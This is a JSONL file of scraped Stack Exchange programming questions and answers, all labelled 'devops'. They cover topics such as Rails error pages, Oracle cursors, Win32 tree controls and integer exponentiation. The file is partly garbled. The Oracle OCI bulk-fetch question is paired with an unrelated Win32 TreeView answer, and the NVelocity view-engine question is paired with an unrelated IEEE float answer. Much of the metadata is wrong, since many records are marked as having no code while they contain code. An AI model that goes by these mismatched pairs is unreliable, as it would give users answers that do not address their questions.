RMI if I was in control of both ends of the connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.446270"}
{"id": "hf_3716210342b4", "question": "<p>So I got this question from one of the developers in my team: What is domain driven design? I could of course point to the book from Evans but is that actually an answer? </p>\n\n<p>How would you explain DDD in a few sentences to junior software engineers in your team?</p>\n", "question_body": "", "answer": "I would say this practice promotes concentrating your efforts on the 'problem space' rather than the 'solution space'. Driving an emergent solution (the design) by studying and really getting to know and understand the domain. One of the practices (taken from XP) would be the writing of stories that occur in the problem domain. From these you can identify your use cases and objects for your design. They 'emerge' and tell you what needs to be in the solution, and how they will need to interact with each other.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.469752"}
{"id": "hf_c538d3c1c920", "question": "<p>Our rails app is designed as a single code base linking to multiple client databases. Based on the subdomain the app determines which db to connect to.</p>\n\n<p>We use liquid templates to customise the presentation for each client. We are unable to customise the generic 'We're Sorry, somethign went wrong..' message for each client.</p>\n\n<p>Can anyone recommend an approach that would allow us to do this.</p>\n\n<p>Thanks</p>\n\n<p>DOm</p>\n", "question_body": "", "answer": "For catching exceptions in Rails 2,\n```\nrescue_from\n```\ncontroller method is a great way to specify actions which handle various cases.\n```\n```\nclass ApplicationController < ActionController::Base\n  rescue_from MyAppError, :with => :show_errors\n\n  def show_errors\n    render :action => \"...\"\n  end\nend\n```\n```\nThis way you can make dynamic error pages to replace the static \"public/500.html\" page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.502774"}
{"id": "hf_e710c86fddb8", "question": "<p>I want to create a stored procedure with one argument which will return different sets of records depending on the argument. What is the way to do this? Can I call it from plain SQL?</p>\n", "question_body": "", "answer": "I think you want to return a REFCURSOR:\n```\n```\ncreate function test_cursor \n            return sys_refcursor\n            is\n                    c_result sys_refcursor;\n            begin\n                    open c_result for\n                    select * from dual;\n                    return c_result;\n            end;\n```\n```\nUpdate\n: If you need to call this from SQL, use a table function like @Tony Andrews suggested.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.559043"}
{"id": "hf_944dcb2efe02", "question": "<p>I have a Win32 TreeCtrl where the user can rename the tree labels. I process the TVN_ENDLABELEDIT message to do this.</p>\n\n<p>In certain cases I need to change the text that the user entered. Basically the user can enter a short name during edit and I want to replace it with a longer text.</p>\n\n<p>To do this I change the pszText member of the TVITEM struct I received during TVN_ENDLABELEDIT. I do a pointer replace here, as the original memory may be too small to do a simple strcpy like operation.</p>\n\n<p>However I do not know how to deallocate the original pszText member. Basically because it's unknown if that was created with malloc() or new ... therefore I cannot call the appropriate deallocator. Obviously Win32 won't call the deallocator for the old pszText because the pointer has been replaced. So if I don't deallocate, there will be a memory leak.</p>\n\n<p>Any idea how Win32 allocate these structs and what is the proper way to handle the above situation?</p>\n", "question_body": "", "answer": "Unless you're using\n```\nLPSTR_TEXTCALLBACK\n```\n, the tree-view control is responsible for allocating the memory, not your code, so you shouldn't change the value of the\n```\npszText\n```\npointer.\nTo change the item's text in your\n```\nTVN_ENDLABELEDIT\n```\nhandler, you can use\n```\nTreeView_SetItem\n```\n, then return 0 from the handler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.580574"}
{"id": "hf_7a1fa932fe77", "question": "<p>I cannot understand the Oracle documentation. :-(</p>\n\n<p>Does anybody know how to fetch multiple rows of simple data from Oracle via OCI?</p>\n\n<p>I currently use <code>OCIDefineByPos</code> to define single variables (I only need to do this for simple integers -- <code>SQLT_INT</code>/4-byte ints) and then fetch a single row at a time with <code>OCIStmtExecute</code>/<code>OCIStmtFetch2</code>.</p>\n\n<p>This is OK for small amounts of data but it takes around .5ms per row, so when reading a few ten thousand rows this is too slow.</p>\n\n<p>I just don't understand the documentation for <code>OCIBindArrayOfStruct</code>. How can I fetch a few thousand rows at a time?</p>\n", "question_body": "", "answer": "Unless you're using\n```\nLPSTR_TEXTCALLBACK\n```\n, the tree-view control is responsible for allocating the memory, not your code, so you shouldn't change the value of the\n```\npszText\n```\npointer.\nTo change the item's text in your\n```\nTVN_ENDLABELEDIT\n```\nhandler, you can use\n```\nTreeView_SetItem\n```\n, then return 0 from the handler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.602726"}
{"id": "hf_375b52f90b19", "question": "<p>If you are writing a <em>simple</em> little loop, what <em>should</em> you name the counter?</p>\n\n<p><em>Provide example loops!</em></p>\n", "question_body": "", "answer": "My experience is that most people use single letters, e.g.:\n```\ni\n```\n,\n```\nj\n```\n,\n```\nk\n```\n,\n...\nor\n```\nx\n```\n,\n```\ny\n```\n,\nor\n```\nr\n```\n,\n```\nc\n```\n(for row/column)\nor\n```\nw\n```\n,\n```\nh\n```\n(for width/height)\n, etc.\nBut I learned a great alternative a long time ago, and have used it ever since: double letter variables.\n```\n```\n// recommended style              ●    // \"typical\" single-letter style\n                                  ●\nfor (ii=0; ii<10; ++ii) {         ●    for (i=0; i<10; ++i) {\n    for (jj=0; jj<10; ++jj) {     ●        for (j=0; j<10; ++j) {\n        mm[ii][jj] = ii * jj;     ●             m[i][j] = i * j;\n    }                             ●        }\n}                                 ●    }\n```\n```\nIn case the benefit isn't immediately obvious: searching through code for any single letter will find many things that\naren't\nwhat you're looking for.  The letter\n```\ni\n```\noccurs quite often in code where it isn't the variable you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.661939"}
{"id": "hf_5555bd03c8f8", "question": "<p>Was this an oversight?  Or is it to do with the JVM?</p>\n", "question_body": "", "answer": "I guess it has to do with the fact that the JVM is coded in C++. Apart from that, pointers and references are nearly similar. You could say that the reference mechanism in Java is implemented using C++ pointers and the name 'NullPointerException' allows that implementation detail to shine through.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.686145"}
{"id": "hf_3974e9ceb909", "question": "<p>I have an Exchange mailbox linked as a table in an MS Access app. This is primarily used for reading, but I would also like to be able to \"move\" messages to another folder. </p>\n\n<p>Unfortunately this is not as simple as writing in a second linked mailbox, because   apparently I can not edit some fields. Some critical fields like the To: field are unavailable, as I get the following error </p>\n\n<p><em>\"Field 'To' is based on an expression and cannot be edited\".</em> </p>\n\n<p>Using <em>CreateObject(\"Outlook.Application\")</em> instead is not an option here, because as far as I know, this gives a security dialog when called from Access.</p>\n\n<p>Any solutions?*</p>\n", "question_body": "", "answer": "Is this two problems? Mail can be moved using the Move method. Here is a snippet:\n```\n```\nSet oApp = CreateObject(\"Outlook.Application\")\n\nSet oNS = oApp.GetNamespace(\"MAPI\")\n\nSet oMailItems = oNS.GetDefaultFolder(olFolderInbox)\nSet itm = oMailItems.Items(6)\nitm.Move oNS.GetDefaultFolder(olFolderDeletedItems)\n```\n```\nHowever, Recipients (To) is read only, even, I believe, with Outlook Redemtion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.721632"}
{"id": "hf_0b92fdc6231e", "question": "<p>Is there a way to check if the user has a different version of the CSS cached by their browser and if so force their browser to pull the new version?</p>\n", "question_body": "", "answer": "You should possibly just share a common ancestor class, then you can flick it with a single js command if need be.\n```\n```\n<body class=\"style2\">\n\n<body class=\"style1\">\n```\n```\netc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.756239"}
{"id": "hf_7397f396decd", "question": "<p>How do I read text from the (windows) clipboard with python?</p>\n", "question_body": "", "answer": "Try win32clipboard from the win32all package (that's probably installed if you're on ActiveState Python).\nSee sample here:\nhttp://code.activestate.com/recipes/474121/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.779655"}
{"id": "hf_cdd6fb144993", "question": "<p>How can someone validate that a specific element exists in an XML file? Say I have an ever changing XML file and I need to verify every element exists before reading/parsing it. </p>\n", "question_body": "", "answer": "```\n```\nif(doc.SelectSingleNode(\"//mynode\")==null)....\n```\n```\nShould do it (where doc is your XmlDocument object, obviously)\nAlternatively you could use an XSD and validate against that", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.801651"}
{"id": "hf_a27d0cddf0a5", "question": "<p>I need to count and check how much of some images is placed in folder od web server.\nExample- images get names from <code>user_id</code>, and on example I have <code>user_id 27</code>, and my images are:</p>\n\n<pre><code>27_1.jpg, 27_2.jpg, 27_3.jpg, ...\n</code></pre>\n\n<p>How to check and write to database this thing?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Once you know your path you can use IO.Directory.GetFiles() method.\n```\n```\nIO.Directory.GetFiles(\"\\translated\\path\",\"27_*.jpg\").Count()\n```\n```\nwill give you what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.846361"}
{"id": "hf_05069b354f80", "question": "<p>How do you return a serialized JSON object to the client side using ASP.NET MVC via an AJAX call?</p>\n", "question_body": "", "answer": "From the controller you can just return a JsonResult:\n```\n```\npublic ActionResult MyAction()\n{\n    ... // Populate myObject\n    return new JsonResult{ Data = myObject };\n}\n```\n```\nThe form of the Ajax call will depend on which library you're using, of course. Using jQuery it would be something like:\n```\n```\n$.getJSON(\"/controllerName/MyAction\", callbackFunction);\n```\n```\nwhere the\n```\ncallbackFunction\n```\ntakes a parameter which is the data from the XHR request.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.869528"}
{"id": "hf_f3549ffaa22e", "question": "<p>In Python there is a really neat function called <code>zip</code> which can be used to iterate through two lists at the same time:</p>\n\n<pre><code>list1 = [1, 2, 3]\nlist2 = [\"a\", \"b\", \"c\"]\nfor v1, v2 in zip(list1, list2):\n    print v1 + \" \" + v2\n</code></pre>\n\n<p>The above code should produce the following:</p>\n\n<pre>1 a\n2 b\n3 c</pre>\n\n<p>I wonder if there is a method like it available in .Net? I'm thinking about writing it myself, but there is no point if it's already available.</p>\n", "question_body": "", "answer": "Nope, there is no such function in .NET. You have roll out your own. Note that C# doesn't support tuples, so python-like syntax sugar is missing too.\nYou can use something like this:\n```\n```\nclass Pair<T1, T2>\n{\n    public T1 First { get; set;}\n    public T2 Second { get; set;}\n}\n\nstatic IEnumerable<Pair<T1, T2>> Zip<T1, T2>(IEnumerable<T1> first, IEnumerable<T2> second)\n{\n    if (first.Count() != second.Count())\n        throw new ArgumentException(\"Blah blah\");\n\n    using (IEnumerator<T1> e1 = first.GetEnumerator())\n    using (IEnumerator<T2> e2 = second.GetEnumerator())\n    {\n        while (e1.MoveNext() && e2.MoveNext())\n        {\n            yield return new Pair<T1, T2>() {First = e1.Current, Second = e2.Current};\n        }\n    }\n}\n\n...\n\nvar ints = new int[] {1, 2, 3};\nvar strings = new string[] {\"A\", \"B\", \"C\"};\n\nforeach (var pair in Zip(ints, strings))\n{\n    Console.WriteLine(pair.First + \":\" + pair.Second);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.904700"}
{"id": "hf_0a0d6980f7ea", "question": "<p>I'm building an installer for an application. The user gets to select a datasource they have configured and nominate what type of database it is.  I want to confirm that the database type is indeed Oracle, and if possible, what version of Oracle they are running by sending a SQL statement to the datasource.</p>\n", "question_body": "", "answer": "Run this SQL:\n```\n```\nselect * from v$version;\n```\n```\nAnd you'll get a result like:\n```\n```\nBANNER\n----------------------------------------------------------------\nOracle Database 10g Release 10.2.0.3.0 - 64bit Production\nPL/SQL Release 10.2.0.3.0 - Production\nCORE    10.2.0.3.0      Production\nTNS for Solaris: Version 10.2.0.3.0 - Production\nNLSRTL Version 10.2.0.3.0 - Production\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.951696"}
{"id": "hf_bc95669cb718", "question": "<p>I'm playing with the wonderful <a href=\"http://hudson.gotdns.com/wiki/display/HUDSON/FindBugs+Plugin\" rel=\"nofollow noreferrer\">FindBugs plugin</a> for <a href=\"http://hudson-ci.org/\" rel=\"nofollow noreferrer\">Hudson</a>. Ideally, I'd like to have the build fail if FindBugs finds any problems. Is this possible?</p>\n\n<p>Please, don't try and tell me that \"0 warnings\" is unrealistic with FindBugs. We've been using FindBugs from Ant for a while and we usually do maintain 0 warnings. We achieve this through the use of general exclude filters and specific/targeted annotations.</p>\n", "question_body": "", "answer": "You can not rely on find bugs so much , it is just an expert system that tells you that something\nmay\nbe wrong with your program during runtime. Personally I have seen a lot of warning generated by findbugs because it was not able to figure out the correctness of code (in fact).\nOne example when you open a stream or jdbc connection in one method and close it in other, in this case findbugs expecting to see close() call in same method which sometimes is impossible to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:20.975331"}
{"id": "hf_f7366e3daca4", "question": "<p>I'm building an installer for an application. The user gets to select a datasource they have configured and nominate what type of database it is.  I want to confirm that the database type is indeed Postgres, and if possible, what version of Postgres they are running by sending a SQL statement to the datasource.</p>\n", "question_body": "", "answer": "```\n```\nSELECT version();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.010085"}
{"id": "hf_6edbdb409ade", "question": "<p>Net::HTTP can be rather cumbersome for the standard use case!</p>\n", "question_body": "", "answer": "This is what I use:\nhttp://rubyforge.org/projects/restful-rails/\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.040519"}
{"id": "hf_f49e513c9ebb", "question": "<p>I have a pivot table on an olap cube. I can go into a page field and manually deselect multiple items. How can I do this in VBA based on a list of items I need excluded? (n.b. I do not have a corrresponding list of items I need included)</p>\n\n<p>I know how to exclude these items in other ways, by altering the underlying query for example. I specifically want to replicate the user action of deselecting items in the pivot.</p>\n", "question_body": "", "answer": "I apologize for this example being in C#, but I really don't know enough VBA to translate it (perhaps someone can edit this entry and add it below).\nAre you refering to something like this?\n```\n```\n((MOE.PivotField)pivotTableObject.PivotFields(\"[NAME]\")).Delete();\n```\n```\nWhere MOE is the Microsoft.Office.Interop.Excel namespace and [NAME] is the name of the field you want to remove", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.074282"}
{"id": "hf_213245ee2e1d", "question": "<pre><code>/etc/init.d/*\n\n\n/etc/rc{1-5}.d/*\n</code></pre>\n", "question_body": "", "answer": "```\n/sbin/chkconfig\n```\n— The\n```\n/sbin/chkconfig\n```\nutility is a simple command line tool for maintaining the\n```\n/etc/rc.d/init.d/\n```\ndirectory hierarchy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.115440"}
{"id": "hf_50d218445121", "question": "<p>I want to search for <code>$maximumTotalAllowedAfterFinish</code> and replace it with <code>$minimumTotalAllowedAfterFinish</code>. Instead of typing the long text:</p>\n\n<pre><code>:%s/$maximumTotalAllowedAfterFinish/$minimumTotalAllowedAfterFinish/g\n</code></pre>\n\n<p>Is there a way to COPY these long variable names down into the search line, since, on the command line I can't type \"<code>p</code>\" to paste?</p>\n", "question_body": "", "answer": "Type\n```\nq:\n```\nto get into history editing mode in a new buffer. Then edit the last line of the buffer and press\n```\nEnter\n```\nto execute it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.137913"}
{"id": "hf_507624ee44bc", "question": "<p>As the title says: What is the difference between a non-secure random number generator and a secure random number generator?</p>\n", "question_body": "", "answer": "No computationally feasible algorithm should:\nrecover the seed, or\npredict the \"next bit\"\nfor a secure random number generator.\nExample: a linear feedback shift register produces lots of random numbers out there, but given enough output, the seed can be discovered and all subsequent numbers predicted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.306575"}
{"id": "hf_33289c0425f0", "question": "<p>Our application is written in ActionScript2 and has about 50.000+ lines of code. We want to port it to ActionScript3 and we're trying to find out what our options are. Do we have to do it manually or can we use a converter, and what problems can we expect? </p>\n", "question_body": "", "answer": "I don't think you can ever use an automatic converter for this task.\nA converter may be able to save you some steps or point out places where change must take place, but you'll have to go over the code manually.\nFor example, referring to a _level0.variableName in AS2 can point to a movieClip on the _root level, to a FlashVar sent from the HTML container or to an object created by the code itself. There's no real way of knowing. (You can't look for the varname in the code since that too can be calculated or read externally.\nYou need to have a very good reason to do such conversion. If AS2 is not suitable anymore for some reason, maybe you should try to solve the problem instead of converting to AS3 just because it has a nice little function that you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.341323"}
{"id": "hf_2f927fda28d3", "question": "<p>I was wondering are there any security concerns with adding crossdomain.xml to the root of an application server? Can it be added to any other parts of the server and are you aware of any work arounds that dont require the server to have this file in place?</p>\n\n<p>Thanks\nDamien</p>\n", "question_body": "", "answer": "By adding the crossdomain.xml, the main security concern is that flash applications can now connect to your server.  So if someone logs into your site, and then browses over to another website with a malicious flash app, that flash app can connect back to your site.  Since it's in a browser, cookies are shared to the flash app.  This allows the flash app to hijack the user's session to do whatever it is your website does without the user knowing about it.\nIf your flex app is served from the same server, you don't need a crossdomain.xml\nYou can put it in a sub directory of your site and use System.security.loadSecurityPolicy()\nhttp://livedocs.adobe.com/flex/2/langref/flash/system/Security.html\nApplications would then be limited to that tree of your directory structure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.451220"}
{"id": "hf_ce5716fd94cf", "question": "<p>What is the most efficient way given to raise an integer to the power of another integer in C?</p>\n\n<pre><code>// 2^3\npow(2,3) == 8\n\n// 5^5\npow(5,5) == 3125\n</code></pre>\n", "question_body": "", "answer": "An extremely specialized case is, when you need say 2^(-x to the y), where x, is of course is negative and y is too large to do shifting on an int. You can still do 2^x in constant time by screwing with a float.\n```\n```\nstruct IeeeFloat\n{\n\n    unsigned int base : 23;\n    unsigned int exponent : 8;\n    unsigned int signBit : 1;\n};\n\nunion IeeeFloatUnion\n{\n    IeeeFloat brokenOut;\n    float f;\n};\n\ninline float twoToThe(char exponent)\n{\n    // notice how the range checking is already done on the exponent var \n    static IeeeFloatUnion u;\n    u.f = 2.0;\n    // Change the exponent part of the float\n    u.brokenOut.exponent += (exponent - 1);\n    return (u.f);\n}\n```\n```\nYou can get more powers of 2 by using a double as the base type.\n(Thanks a lot to commenters for helping to square this post away).\nThere's also the possibility that learning more about\nIEEE floats\n, other special cases of exponentiation might present themselves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.474914"}
{"id": "hf_cb7c69c26846", "question": "<p>I'm guessing I need to implement an <code>NVelocityViewEngine</code> and <code>NVelocityView</code> - but before I do I wanted to check to see if anyone has already done this.</p>\n<p>I can't see anything in the <a href=\"http://mvccontrib.googlecode.com/svn/trunk/\" rel=\"nofollow noreferrer\">trunk</a> for <a href=\"http://www.codeplex.com/MVCContrib\" rel=\"nofollow noreferrer\">MVCContrib</a>.</p>\n<p>I've already seen the post below - I'm looking specifically for something which works with Preview 5:</p>\n<ul>\n<li><a href=\"http://www.chadmyers.com/Blog/archive/2007/11/28/testing-scottgu-alternate-view-engines-with-asp.net-mvc-nvelocity.aspx\" rel=\"nofollow noreferrer\">Testing ScottGu: Alternate View Engines with ASP.NET MVC (NVelocity)</a></li>\n</ul>\n<p>Otherwise I'll start writing one :)</p>\n", "question_body": "", "answer": "An extremely specialized case is, when you need say 2^(-x to the y), where x, is of course is negative and y is too large to do shifting on an int. You can still do 2^x in constant time by screwing with a float.\n```\n```\nstruct IeeeFloat\n{\n\n    unsigned int base : 23;\n    unsigned int exponent : 8;\n    unsigned int signBit : 1;\n};\n\nunion IeeeFloatUnion\n{\n    IeeeFloat brokenOut;\n    float f;\n};\n\ninline float twoToThe(char exponent)\n{\n    // notice how the range checking is already done on the exponent var \n    static IeeeFloatUnion u;\n    u.f = 2.0;\n    // Change the exponent part of the float\n    u.brokenOut.exponent += (exponent - 1);\n    return (u.f);\n}\n```\n```\nYou can get more powers of 2 by using a double as the base type.\n(Thanks a lot to commenters for helping to square this post away).\nThere's also the possibility that learning more about\nIEEE floats\n, other special cases of exponentiation might present themselves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.498583"}
{"id": "hf_82e5b0516f20", "question": "<p>Most languages (Ruby included) allow number literals to be written in at least three bases: decimal, octal and hexadecimal. Numbers in decimal base is the usual thing and are written as (most) people naturally write numbers, 96 is written as <code>96</code>. Numbers prefixed by a zero are usually interpreted as octal based: 96 would be written as <code>0140</code>. Hexadecimal based numbers are usually prefixed by <code>0x</code>: 96 would be written as <code>0x60</code>.</p>\n\n<p>The question is: can I write numbers as binary literals in Ruby? How?</p>\n", "question_body": "", "answer": "From\nthis manual\n```\n```\n0b01011\n```\n```\nbinary integer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.533789"}
{"id": "hf_b28258555dc8", "question": "<p>I know how to change the schema of a table in SQL server 2005:</p>\n\n<pre><code>ALTER SCHEMA NewSchama TRANSFER dbo.Table1\n</code></pre>\n\n<p>But how can i check and/or alter stored procedures that use the old schema name?</p>\n\n<p>Sorry: I mean:\nThere are stored procedures that have the old schema name of the table in the sql of the stored procedure... How can i edit all the stored procedures that have the dbo.Table1 in the body of the procedure...</p>\n", "question_body": "", "answer": "Get a list of dependent objects by right-clicking on the table before you change the schema and then look at what is dependent on the table, make a list and then change those. There is, however, always a possibility that you'll miss something because it is possible to break the dependencies SQL server tracks.\nBut the best way would be to script the database out into a file and then do a search for the table name, make a list of all of the sprocs where it needs to be changed and then add those to the script to change the schema of the table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.557109"}
{"id": "hf_a0170f56d681", "question": "<p>Does anybody know if there is a feasible way on Windows XP to programmatically create and configure a user account so that after logging in from the console (no terminal services) a specific app is launched and the user is \"locked\" to that app ?</p>\n\n<p>The user should be prevented from doing anything else with the system (e.g.: no ctrl+alt+canc, no ctrl+shift+esc, no win+e, no nothing).</p>\n\n<p>As an added optional bonus the user should be logged off when the launched app is closed and/or crashes.</p>\n\n<p>Any existing free tool, language or any mixture of them that gets the job done would be fine (batch, VB-script, C, C++, whatever)</p>\n", "question_body": "", "answer": "I guess you're building a windows kiosk?\nHere's some background in replacing the windows login shell -\nhttp://blogs.msdn.com/embedded/archive/2005/03/30/403999.aspx\nThe above link talks about using IE as the replacement, but any program can be used.\nAlso check out Windows Steady State -\nhttp://www.microsoft.com/windows/products/winfamily/sharedaccess/default.mspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.580561"}
{"id": "hf_8f442484eade", "question": "<p>I have some code which collects points (consed integers) from a loop which looks something like this:</p>\n\n<pre><code>(loop\n    for x from 1   to     100\n    for y from 100 downto 1\n        collect `(,x . ,y))\n</code></pre>\n\n<p>My question is, is it correct to use <code>`(,x . ,y)</code> in this situation?</p>\n\n<p>Edit: This sample is not about generating a table of 100x100 items, the code here just illustrate the use of two loop variables and the consing of their values. I have edited the loop to make this clear. The actual loop I use depends on several other functions (and is part of one itself) so it made more sense to replace the calls with literal integers and to pull the loop out of the function.</p>\n", "question_body": "", "answer": "Why not just\n```\n```\n(cons x y)\n```\n```\nBy the way, I tried to run your code in CLISP and it didn't work as expected. Since I'm not a big fan of the loop macro here's how you might accomplish the same thing recursively:\n```\n```\n(defun genint (stop)\n  (if (= stop 1) '(1)\n      (append (genint (- stop 1)) (list stop))))\n\n(defun genpairs (x y)\n  (let ((row (mapcar #'(lambda (y)\n                        (cons x y))\n                        (genint y))))\n    (if (= x 0) row\n        (append (genpairs (- x 1) y)\n                row))))\n\n(genpairs 100 100)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:21.603996"}
